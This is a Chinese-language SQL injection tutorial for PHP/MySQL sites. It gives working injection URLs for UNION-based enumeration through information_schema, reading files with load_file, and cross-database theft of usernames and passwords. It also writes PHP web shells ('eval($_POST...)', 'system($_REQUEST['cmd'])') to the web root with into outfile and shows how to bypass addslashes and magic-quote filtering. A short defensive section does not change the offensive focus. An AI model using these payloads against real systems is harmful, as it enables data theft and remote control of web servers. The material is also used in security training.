SQL注入
SQL注入
核心:通过使用一系列sql语法,使得其网页能跑通。证明能运行sql语句。
资料相关:
https://skills.bugbank.cn/skill.html?type=3;通过不同的SQL注入方式进行探测。
本质:把用户输入的数据当做代码执行,原本程序要执行的代码,拼接了用户输入的数据。
危害:暴露数据库内容;控制操作网站数据库。
etc:
http://www.xx.com/news.php?id=2
http://www.xx.com/news.php?id=2 and 1=1 返回正常 页面正常
SQL:select title from news where id = 1 and 1=1;
http://www.xx.com/news.php?id=2 and 1=2 返回错误 页面报错
SQL:select title from news where id = 1 and 1=2;
存在SQL注入漏洞
http://www.xx.com/news.php?id=2 order by 5.页面正常
http://www.xx.com/news.php?id=2 union select 1,2,3,4,5 from tablename;
MySQL::information_schema:
information_schema数据库是MySQL自带的,MySQL 5以下没有这个数据库,它提供了访问数据库元数据的方式.
元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等.也就是说information_schema中保存着关于MySQL服务器所维护的所有其他数据库的信息.如数据库名,数据库的表,表栏的数据类型与访问权限等.
在INFORMATION_SCHEMA中,有数个只读表.在SQL注入中,我们重点关注的表有如下几个,因为主要的时候主要利用这几个表来获取数据:
SCHEMATA: 提供了当前mysql数据库中所有数据库的信息,其中SCHEMA_NAME字段保存了所有的数据库名.show databases的结果取自此表.
TABLES: 提供了关于数据库中的表的信息,详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,其中table_name字段保存了所有列名信息,show tables from schemaname的结果取自此表.
COLUMNS: 提供了表中的列信息.详细表述了某张表的所有列以及每个列的信息,其中column_name保存了所有的字段信息.show columns from schemaname.tablename的结果取自此表.
mysql高权限文件操作注入
数据库用户:user()
操作系统:@@version_compile_os
读取函数:load_file
写入函数:into outfile
1、root 用户
mysql> select load_file('c:/hd.ini') #(成功)
mysql> select 'fujieace' into outfile 'c:/fujieace.txt'; #(成功)
2、test 普通用户
mysql> select load_file('c:/hd.ini') #(失败,结果为空)
mysql> select 'fujieace' into outfile 'c:/fujieace.txt'; #(失败,提示ERROR错误)
通过上面的对比,得到一个结果,Mysql数据库只有root用户才有权限用“读取、写入”函数的权限。
本地实战测试:
1、查看用户名
127.0.0.1/test/sqlin.php?x=1 union select 1,user(),3,4
得到结果:root@localhost
这里是否是root用户名取决于数据库配置文件是用哪一个用户名来连接数据库的?
2、读取数据
127.0.0.1/test/sqlin.php?x=1 union select 1,load_file('c:/hd.ini'),3,4
思考一个问题:这里我是知道准确的物理路径,真正渗透测试的时候我们或许并不能知道网站路径怎么办?
关于网站路径的获取方法:
报错显示
谷歌黑客
读取配置文件
漏洞报错
遗留文件
字典猜解
注意:路径符号及编码;仔细看斜杠,这里单引号也可以去掉,如果去掉,需要将 c:/hd.ini 编码。可以用小葵转换工具;
3、写入PHP一句话
127.0.0.1/test/sqlin.php?x=1 union select 1,'<?php eval($_POST['x']);?>',3,4 into outfile 'c:/c.php'
这里肯定会报错,而且写入一定不会成功,因为单引号的问题,因此,这里就需要用到上面的知识:去掉单引号,编码写入的内容,才能真正的成功。
4、连接一句话木马
如果这个c.php写入的到的是网站目录下面,是不是就可以用中国菜刀或中国蚁剑连接了呢?
注意:
在mysql 5.6.34版本以后,MySQL服务器都会运行 --secure-file-priv 选项, secure_file_priv 配置默认的值是 null ;因此“读取、写入函数”默认是不允许用的,会提示如下错误:
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
中文翻译
错误1290(HY000):MySQL服务器正在运行--secure-file-priv选项,因此无法执行此语句
查看 secure_file_priv 值:
mysql> show variables like '%secure%';
解决方法
打开my.cnf 或 my.ini,加入以下语句后重启mysql。
secure_file_priv=''
Mysql防护函数及设置注入(copy:www.fujieace.com)
Mysql防止sql注入函数及绕过注入
或许“mysql防止sql注入”对很多编程的人来说是一件很头痛的事情,今天有缘看了此文章,或许就会舒畅多了。
一、mysql防注入函数
一般来说,网站组合是PHP+Mysql,我们可以利用php自带功能来达到防Mysql注入的问题。这里会用到两个函数:
1、php.ini配置 魔术引号:magic_quotes_gpc 开关
2、php安全函数:addslashes
当然了,php还有很多类似功能的这样的函数,例如:php过滤函数、mysqli 或 pdo 函数;
二、绕过 mysql防注入函数 方法
如果用了以上函数,我们注入又如何绕过呢?方法也非常的简单:
1、编码绕过
2、宽字节注入
注意:其实mysql防注入方法很多,例如:CDN(自带WAF功能)、安全狗、云锁等第三方平台防护软件;我只是站在不用任何平台防护软件的角度,我们应该如何做mysql注入防护?这里只是重点讲下Mysql防注入函数。
Mysql高权限注入
Mysql高权限跨库注入
Mysql高权限跨库注入必备条件:root权限;
原理:网站 A 无注入点,网站 B 存在注入,网站 A 及网站 B 数据库存在统 一的mysql数据库中,这时我们可以利用网站 B 的注入点进去跨库注入获取网站 A 的数据。
1、查当前连接数据库名
127.0.0.1/test/sqlin.php?x=1 union select 1,database(),3,4
2、查询所有的数据库名
127.0.0.1/test/sqlin.php?x=1 union select 1,schema_name,3,4 from information_schema.schemata
3、获取指定数据库表名
127.0.0.1/test/sqlin.php?x=1 union select 1,table_name,3,4 from information_schema.tables where table_schema='ekucms'
4、获取指定数据,例如用户名和密码
127.0.0.1/test/sqlin.php?x=1 union select 1,username,userpwd,4 from eku5jiw_user
如果按照上面这样查肯定会报错,因为我们是跨数据库的,正确的查询需要加上数据库,如下:
127.0.0.1/test/sqlin.php?x=1 union select 1,username,userpwd,4 from ekucms.eku5jiw_user
请求方式验证及提交注入(GET注入)
利用sqlmap工具;
请求方式验证及提交注入(POST 注入)
利用Bur工具
请求方式验证及提交注入(COOKIE 注入)
利用Bur工具
请求方式验证及提交注入(HTTP头注入)
利用Bur工具
盲注: web服务器没有错误回显时完成的注入攻击,通过构造简单的条件语句来判断SQL语句是否得到执行。
https://www.cnblogs.com/startingpoint-fly/p/11158011.html
二次注入
与普通注入区别
普通注入:
(1)在http后面构造语句,是立即直接生效;
(2)普通注入很容易被扫描工具扫描到。
二次注入:
(1)先构造语句(此语句含有被转义字符的语句);
(2)将我们构造的恶意语句存入数据库;
(3)第二次构造语句(结合前面已被存入数据库的语句构造。因为系统没有对已存入的数据做检查,成功注入);
(4)二次注入更加难以被发现。
二次注入需要具备的两个条件:
(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户
善于利用mysql函数
databases();system_user();current_user();last_insert_id();
还可以写入一句话木马
http://www.xx.com/news.php?id=2 union select
"<? system($_REQUEST['cmd']); ?>",2,3,4 into outfile "/var/www/html/temp/c.php" --
常见攻击技巧
利用Sqlmap.py 工具。参照sqlmap参数。